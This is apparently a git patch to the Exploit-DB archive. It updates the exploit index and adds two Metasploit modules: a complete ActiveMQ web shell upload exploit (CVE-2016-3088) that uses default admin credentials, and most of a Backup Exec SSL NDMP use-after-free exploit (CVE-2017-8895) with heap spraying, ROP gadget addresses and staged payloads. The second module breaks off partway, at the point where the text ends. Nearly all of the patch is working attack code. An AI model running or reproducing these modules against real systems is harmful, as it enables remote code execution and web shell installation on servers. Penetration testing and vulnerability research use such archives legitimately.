From 83c4965a4e47cc8faaba95485d129cffa6951f12 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 30 Jun 2017 05:01:20 +0000 Subject: [PATCH] DB: 2017-06-30 2 new exploits LAME 3.99.5 - 'III_dequantize_sample' Stack-Based Buffer Overflow LAME 3.99.5 - 'III_dequantize_sample' Stack Based Buffer Overflow NetBSD - Stack Clash Proof of Concept FreeBSD - 'FGPU' Stack Clash Proof of Concept FreeBSD - 'FGPE' Stack Clash Proof of Concept FreeBSD - 'setrlimit' Stack Clash Proof of Concept NetBSD - 'Stack Clash' (PoC) FreeBSD - 'FGPU' Stack Clash (PoC) FreeBSD - 'FGPE' Stack Clash (PoC) FreeBSD - 'setrlimit' Stack Clash (PoC) Oracle Solaris 11.1 / 11.3 RSH - Local Root Stack Clash Exploit OpenBSD - 'at' Local Root Stack Clash Exploit Linux - 'offset2lib' Stack Clash Exploit Linux - 'ldso_hwcap' Local Root Stack Clash Exploit Linux - 'ldso_hwcap_64' Local Root Stack Clash Exploit Linux - 'ldso_dynamic' Local Root Stack Clash Exploit Oracle Solaris 11.1/11.3 (RSH) - Local Privilege Escalation 'Stack Clash' Exploit OpenBSD - 'at' Local Privilege Escalation 'Stack Clash' Exploit Linux Kernel - 'offset2lib' 'Stack Clash' Exploit Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap' Local Privilege Escalation 'Stack Clash' Exploit Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64' Local Privilege Escalation 'Stack Clash' Exploit Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic' Local Privilege Escalation 'Stack Clash' Exploit Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH) Easy File Sharing Web Server 7.2 - GET HTTP Request 'PassWD' Buffer Overflow (SEH) Veritas/Symantec Backup Exec - SSL NDMP Connection Use-After-Free (Metasploit) ActiveMQ < 5.14.0 - web shell upload (Metasploit) --- files.csv | 26 +- platforms/java/remote/42283.rb | 140 +++ platforms/windows/remote/42282.rb | 1345 +++++++++++++++++++++++++++++ 3 files changed, 1499 insertions(+), 12 deletions(-) create mode 100755 platforms/java/remote/42283.rb create mode 100755 platforms/windows/remote/42282.rb diff --git a/files.csv b/files.csv index 7ba18dcdd..7ce380c17 100644 --- a/files.csv +++ b/files.csv @@ -5596,13 +5596,13 @@ id,file,description,date,author,platform,type,port 42249,platforms/multiple/dos/42249.txt,"Adobe Flash - ATF Parser Heap Corruption",2017-06-23,"Google Security Research",multiple,dos,0 42253,platforms/windows/dos/42253.html,"NTFS 3.1 - Master File Table Denial of Service",2017-06-26,EagleWire,windows,dos,0 42258,platforms/linux/dos/42258.txt,"LAME 3.99.5 - 'II_step_one' Buffer Overflow",2017-06-26,"Agostino Sarubbo",linux,dos,0 -42259,platforms/linux/dos/42259.txt,"LAME 3.99.5 - 'III_dequantize_sample' Stack-Based Buffer Overflow",2017-06-26,"Agostino Sarubbo",linux,dos,0 +42259,platforms/linux/dos/42259.txt,"LAME 3.99.5 - 'III_dequantize_sample' Stack Based Buffer Overflow",2017-06-26,"Agostino Sarubbo",linux,dos,0 42260,platforms/multiple/dos/42260.py,"IBM DB2 9.7/10.1/10.5/11.1 - Command Line Processor Buffer Overflow",2017-06-26,defensecode,multiple,dos,0 42264,platforms/windows/dos/42264.txt,"Microsoft MsMpEng - mpengine x86 Emulator Heap Corruption in VFS API",2017-06-27,"Google Security Research",windows,dos,0 -42272,platforms/netbsd_x86/dos/42272.c,"NetBSD - Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",netbsd_x86,dos,0 -42277,platforms/freebsd_x86/dos/42277.c,"FreeBSD - 'FGPU' Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0 -42278,platforms/freebsd_x86/dos/42278.c,"FreeBSD - 'FGPE' Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0 -42279,platforms/freebsd_x86/dos/42279.c,"FreeBSD - 'setrlimit' Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0 +42272,platforms/netbsd_x86/dos/42272.c,"NetBSD - 'Stack Clash' (PoC)",2017-06-28,"Qualys Corporation",netbsd_x86,dos,0 +42277,platforms/freebsd_x86/dos/42277.c,"FreeBSD - 'FGPU' Stack Clash (PoC)",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0 +42278,platforms/freebsd_x86/dos/42278.c,"FreeBSD - 'FGPE' Stack Clash (PoC)",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0 +42279,platforms/freebsd_x86/dos/42279.c,"FreeBSD - 'setrlimit' Stack Clash (PoC)",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -9118,12 +9118,12 @@ id,file,description,date,author,platform,type,port 42255,platforms/linux/local/42255.py,"JAD Java Decompiler 1.5.8e - Buffer Overflow",2017-06-26,"Juan Sacco",linux,local,0 42265,platforms/linux/local/42265.py,"Flat Assembler 1.7.21 - Buffer Overflow",2017-06-28,"Juan Sacco",linux,local,0 42267,platforms/windows/local/42267.py,"Easy File Sharing Web Server 7.2 - Account Import Local Buffer Overflow (SEH)",2017-06-28,Chako,windows,local,0 -42270,platforms/solaris_x86/local/42270.c,"Oracle Solaris 11.1 / 11.3 RSH - Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",solaris_x86,local,0 -42271,platforms/openbsd/local/42271.c,"OpenBSD - 'at' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",openbsd,local,0 -42273,platforms/lin_x86/local/42273.c,"Linux - 'offset2lib' Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 -42274,platforms/lin_x86/local/42274.c,"Linux - 'ldso_hwcap' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 -42275,platforms/lin_x86-64/local/42275.c,"Linux - 'ldso_hwcap_64' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86-64,local,0 -42276,platforms/lin_x86/local/42276.c,"Linux - 'ldso_dynamic' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 +42270,platforms/solaris_x86/local/42270.c,"Oracle Solaris 11.1/11.3 (RSH) - Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",solaris_x86,local,0 +42271,platforms/openbsd/local/42271.c,"OpenBSD - 'at' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",openbsd,local,0 +42273,platforms/lin_x86/local/42273.c,"Linux Kernel - 'offset2lib' 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 +42274,platforms/lin_x86/local/42274.c,"Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 +42275,platforms/lin_x86-64/local/42275.c,"Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86-64,local,0 +42276,platforms/lin_x86/local/42276.c,"Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 @@ -15613,7 +15613,7 @@ id,file,description,date,author,platform,type,port 41694,platforms/multiple/remote/41694.rb,"SSH - User Code Execution (Metasploit)",1999-01-01,Metasploit,multiple,remote,0 41695,platforms/linux/remote/41695.rb,"Redmine SCM Repository - Arbitrary Command Execution (Metasploit)",2010-12-19,Metasploit,linux,remote,0 41795,platforms/linux/remote/41795.rb,"SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)",2017-03-17,"Mehmet Ince",linux,remote,0 -42261,platforms/windows/remote/42261.py,"Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)",2017-06-27,clubjk,windows,remote,80 +42261,platforms/windows/remote/42261.py,"Easy File Sharing Web Server 7.2 - GET HTTP Request 'PassWD' Buffer Overflow (SEH)",2017-06-27,clubjk,windows,remote,80 42256,platforms/windows/remote/42256.rb,"Easy File Sharing HTTP Server 7.2 - POST Buffer Overflow (Metasploit)",2017-06-17,Metasploit,windows,remote,80 41987,platforms/windows/remote/41987.py,"Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)",2017-05-10,"Juan Sacco",windows,remote,0 41718,platforms/hardware/remote/41718.txt,"Miele Professional PG 8528 - Directory Traversal",2017-03-24,"Jens Regel",hardware,remote,0 @@ -15675,6 +15675,8 @@ id,file,description,date,author,platform,type,port 42186,platforms/windows/remote/42186.py,"Easy File Sharing Web Server 7.2 - 'POST' Buffer Overflow (DEP Bypass)",2017-06-15,"bl4ck h4ck3r",windows,remote,0 42251,platforms/python/remote/42251.rb,"Symantec Messaging Gateway 10.6.2-7 - Remote Code Execution (Metasploit)",2017-06-26,"Mehmet Ince",python,remote,443 42257,platforms/cgi/remote/42257.rb,"Netgear DGN2200 - dnslookup.cgi Command Injection (Metasploit)",2017-06-26,Metasploit,cgi,remote,80 +42282,platforms/windows/remote/42282.rb,"Veritas/Symantec Backup Exec - SSL NDMP Connection Use-After-Free (Metasploit)",2017-06-29,Metasploit,windows,remote,10000 +42283,platforms/java/remote/42283.rb,"ActiveMQ < 5.14.0 - web shell upload (Metasploit)",2017-06-29,Metasploit,java,remote,0 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 diff --git a/platforms/java/remote/42283.rb b/platforms/java/remote/42283.rb new file mode 100755 index 000000000..33fbd553c --- /dev/null +++ b/platforms/java/remote/42283.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ActiveMQ web shell upload', + 'Description' => %q( + The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 + allows remote attackers to upload and execute arbitrary files via an + HTTP PUT followed by an HTTP MOVE request. + ), + 'Author' => [ 'Ian Anderson ', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-3088' ], + [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ] + ], + 'Privileged' => true, + 'Platform' => %w{ java linux win }, + 'Targets' => + [ + [ 'Java Universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA + } + ], + [ 'Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => "Jun 01 2016", + 'DefaultTarget' => 0)) + register_options( + [ + OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]), + OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]), + OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]), + Opt::RPORT(8161) + ]) + register_advanced_options( + [ + OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil]) + ]) + end + + def jsp_text(payload_name) + %{ + <%@ page import="java.io.*" + %><%@ page import="java.net.*" + %><% + URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()}); + Class c = cl.loadClass("metasploit.Payload"); + c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); + %>} + end + + def exploit + jar_payload = payload.encoded_jar.pack + payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) + host = "#{datastore['RHOST']}:#{datastore['RPORT']}" + @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}" + paths = get_upload_paths + paths.each do |path| + if try_upload(path, jar_payload, payload_name) + break handler if trigger_payload(payload_name) + print_error('Unable to trigger payload') + end + end + end + + def try_upload(path, jar_payload, payload_name) + ['.jar', '.jsp'].each do |ext| + file_name = payload_name + ext + data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload + move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" } + upload_uri = normalize_uri('fileserver', file_name) + print_status("Uploading #{move_headers['Destination']}") + register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true') + return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) && + send_request('MOVE', upload_uri, 204, 'headers' => move_headers) + @trigger_resource = /webapps(.*)/.match(path)[1] + end + true + end + + def get_upload_paths + base_path = "#{get_install_path}/webapps" + custom_path = datastore['UploadPath'] + return [normalize_uri(base_path, custom_path)] unless custom_path.nil? + [ "#{base_path}/api/", "#{base_path}/admin/" ] + end + + def get_install_path + properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body + match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*([^@]+)<\/td>/) + return match[1] unless match.nil? + end + + def send_request(method, uri, expected_response = 200, opts = {}) + opts['headers'] ||= {} + opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass']) + opts['headers']['Connection'] = 'close' + r = send_request_cgi( + { + 'method' => method, + 'uri' => uri + }.merge(opts) + ) + return false if r.nil? || expected_response != r.code.to_i + r + end + + def trigger_payload(payload_name) + send_request('POST', @url + @trigger_resource + payload_name + '.jsp') + end + + def error_out + print_error('Upload failed') + @trigger_resource = nil + false + end +end \ No newline at end of file diff --git a/platforms/windows/remote/42282.rb b/platforms/windows/remote/42282.rb new file mode 100755 index 000000000..ce2c87906 --- /dev/null +++ b/platforms/windows/remote/42282.rb @@ -0,0 +1,1345 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/ndmp_socket' + +require 'openssl' +require 'xdr' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::NDMPSocket + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free', + 'Description' => %q{ + This module exploits a use-after-free vulnerability in the handling of SSL NDMP + connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL + is re-established on a NDMP connection that previously has had SSL established, + the BIO struct for the connection's previous SSL session is reused, even though it + has previously been freed. + + This module supports 3 specific versions of the Backup Exec agent in the 14, 15 + and 16 series on 64-bit and 32-bit versions of Windows and has been tested from + Vista to Windows 10. The check command can help narrow down what major and minor + revision is installed and the precise of version of Windows, but some other + information may be required to make a reliable choice of target. + + NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a + reliability of around 85%. On other versions of Windows, reliability is around 35% + (due to the need to win a race condition across the network in this case; this may + drop further depending on network conditions). The agent is normally installed on + all hosts in a domain that need to be backed up, so if one service crashes, try + again on another :) Successful exploitation will give remote code execution as the + user of the Backup Exec Remote Agent for Windows service, almost always + NT AUTHORITY\SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Matthew Daley' ], + 'References' => + [ + [ 'CVE', '2017-8895' ], + [ 'VTS', '17-006' ], + [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] + ], + 'Platform' => 'win', + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64', + { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86', + { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64', + { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86', + { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64', + { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86', + { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64', + { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86', + { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64', + { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86', + { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64', + { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86', + { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false } + ] + ], + 'DefaultOptions' => + { + 'RPORT' => 10000, + 'NumTriggerAttempts' => 50, + 'EXITFUNC' => 'thread' + }, + 'Privileged' => true, + 'DisclosureDate' => 'May 10 2017', + 'DefaultTarget' => 8)) + + register_options([ + OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]), + OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]), + OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ]) + ]) + end + + def check + s = NDMP::Socket.new(connect) + return CheckCode::Unknown unless connect_ndmp(s, 2) + + resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO)) + return CheckCode::Unknown unless resp + info = HostInfoResponse.from_xdr(resp.body) + print_line('Hostname: ' + info.hostname) + print_line('OS type: ' + info.os_type) + print_line('OS version: ' + info.os_version) + print_line('Host ID: ' + info.host_id) + + disconnect + s = NDMP::Socket.new(connect) + return CheckCode::Unknown unless connect_ndmp(s, 3) + + resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)) + return CheckCode::Unknown unless resp + info = ServiceInfoResponse.from_xdr(resp.body) + print_line('Vendor: ' + info.vendor_name) + print_line('Product: ' + info.product_name) + print_line('Revision: ' + info.revision_number) + + ver = info.revision_number.split('.') + if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2) + CheckCode::Appears + else + CheckCode::Detected + end + end + + def exploit + print_status('Connecting sockets...') + + # Connect a differing amount of sockets for stage 1 spraying depending on the target + spray_socks = connect_additional_sockets( + datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200), + target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3 + ) + + # Likewise, connect a differing amount of sockets for TLS extension spraying depending + # on the target + num_tls_spray_socks = datastore['NumTLSSpraySockets'] || ( + case target.opts['Version'] + when 14 + 0 + when 15 + target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100 + when 16 + target.opts['Arch'] == ARCH_X64 ? 100 : 0 + end + ) + tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3) + + s = NDMP::Socket.new(connect) + unless connect_ndmp(s, 3) + fail_with(Failure::UnexpectedReply, "Couldn't connect main socket") + end + + ca_cert, ca_key = generate_ca_cert_and_key + ca_cert_id = get_cert_id(ca_cert) + print_status("CA certificate ID = #{ca_cert_id.to_s(16)}") + + print_status('Getting and handling a certificate signing request...') + agent_cert = handle_a_csr(s, ca_cert, ca_key) + fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil? + print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}") + + if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15 + # For certain target types, put the stage 1 spray sockets into SSL mode. We can use + # the newly made CA certificate and key as our client side certificate + ssl_context = OpenSSL::SSL::SSLContext.new + ssl_context.cert = ca_cert + ssl_context.key = ca_key + print_status('Entering spray sockets into SSL mode...') + (1..2).each do |phase| + spray_socks.each do |ss| + require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase) + require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) + ss.wrap_with_ssl(ssl_context) if phase == 2 + end + end + end + + print_status('Testing certificate...') + require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id) + + # For some targets, split the spraying of TLS extensions around entering SSL on the + # main socket + tls_cutoff = tls_spray_socks.length + if target.opts['Win8Upwards'] + if target.opts['Arch'] == ARCH_X86 + tls_cutoff /= 2 + end + else + tls_cutoff /= 10 + end + spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id) + + print_status('Entering SSL mode on main socket...') + require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) + + spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id) + + # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other + # stages are contained in the SSL socket buffer at the time of the UAF. The record + # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the + # record (depending on the amount of trigger attempts required; see attempt_triggers) + print_status('Sending stages 2 to 4...') + if target.opts['Arch'] == ARCH_X64 + if target.opts['Version'] == 14 + # x64, version 14. Use a TLS handshake record + # + # Windows 8+: + # Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | 16 | 03 | 01 | length | FILLER + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | ret 3 + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 20 | ret | FILLER | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 30 | retsled (0x10 aligned length)... | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # .. | stages 2-4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # + # Otherwise: + # Stage 1 jumps to 0x18 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | 16 | 03 | 01 | length | FILLER + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | ret | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 20 | stages 2-4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + ret = [0xbe6c897].pack('Q<') + if target.opts['Win8Upwards'] + ret_3 = [0xbe2829b].pack('Q<') + payload = rand_text(24) + ret_3 + ret + rand_text(3) + + ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max + else + payload = rand_text(19) + ret + end + payload << generate_stages_2_to_4 + + stage_tls = generate_tls_handshake_record(payload) + else + # x64, version 15/16. Use a SSLv2 hqndshake record + # Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8 + # Otherwise: Stage 1 jumps to 0x18 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | length | 01 | 03 | FILLER + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | pop x3; ret | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 20 | FILLER | ret 5 | ret + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 30 | FILLER | retsled (0x8 aligned length)... | + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 40 | stages 2 - 4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + pop_x3 = [0xbe1d920].pack('Q<') + ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<') + ret = [0xbe6c897].pack('Q<') + payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) + + ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max + + generate_stages_2_to_4 + + stage_tls = generate_tls_in_sslv2_clienthello(payload) + end + else + if target.opts['Version'] == 14 + # x86, version 14. Use a TLS handshake record + # Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4 + # Otherwise: Stage 1 jumps to 0x4 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | FILLER | retsled... | stages 2 to 4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + pop_x3 = [0x6311f901].pack('L<') + ret_3 = [0x6312164a].pack('L<') + ret = [0x63101514].pack('L<') + payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) + + ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4) + + stage_tls = generate_tls_handshake_record(payload, pop_x3[0]) + else + # x86, version 15/16. Use a SSLv2 hqndshake record + # Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4 + # Otherwise: Stage 1 jumps to 0x4 + # 0 1 2 3 4 5 6 7 8 9 A B C D E F + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + # 10 | FL | retsled... | stages 2 to 4... + # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ + + add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<') + inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<') + ret = [0x63101564].pack('L<') + payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char + + ret * [0, datastore['NumTriggerAttempts'] - 3].max + + generate_stages_2_to_4 + + stage_tls = generate_tls_in_sslv2_clienthello(payload) + end + end + s.raw_sendall(stage_tls, 0) + if target.opts['Version'] == 14 + resp = s.raw_recv(5) + fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty? + s.raw_recv(resp[3...5].unpack('n')[0]) + end + + print_status('Closing TLS spray sockets...') + tls_spray_socks.reverse! unless target.opts['Win8Upwards'] + tls_spray_socks.each do |ts| + ts.close + sleep(0.1) + end + sleep(1) + + # Spray stage 1 in the string payloads of selected NDMP packet types + if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64 + spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1]) + spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR + else + spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2 + spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH + end + spray_msg = NDMP::Message.new_request(spray_msg_type, 